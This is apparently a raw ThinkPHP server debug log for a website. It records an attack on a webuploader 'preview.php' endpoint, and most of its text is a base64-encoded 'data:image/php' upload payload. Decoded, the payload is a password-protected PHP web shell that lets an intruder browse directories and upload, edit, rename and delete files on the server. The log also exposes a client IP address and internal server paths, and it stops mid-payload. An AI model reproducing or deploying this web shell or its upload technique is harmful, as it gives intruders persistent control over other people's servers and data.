'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N' => '', 'static' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:57+08:00 ] 116.213.36.234 POST www.51tianwei.com/Theme/assets/webuploader/0.1.15/server/preview.php [运行时间:0.002481s] [吞吐率:403.07req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Theme', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4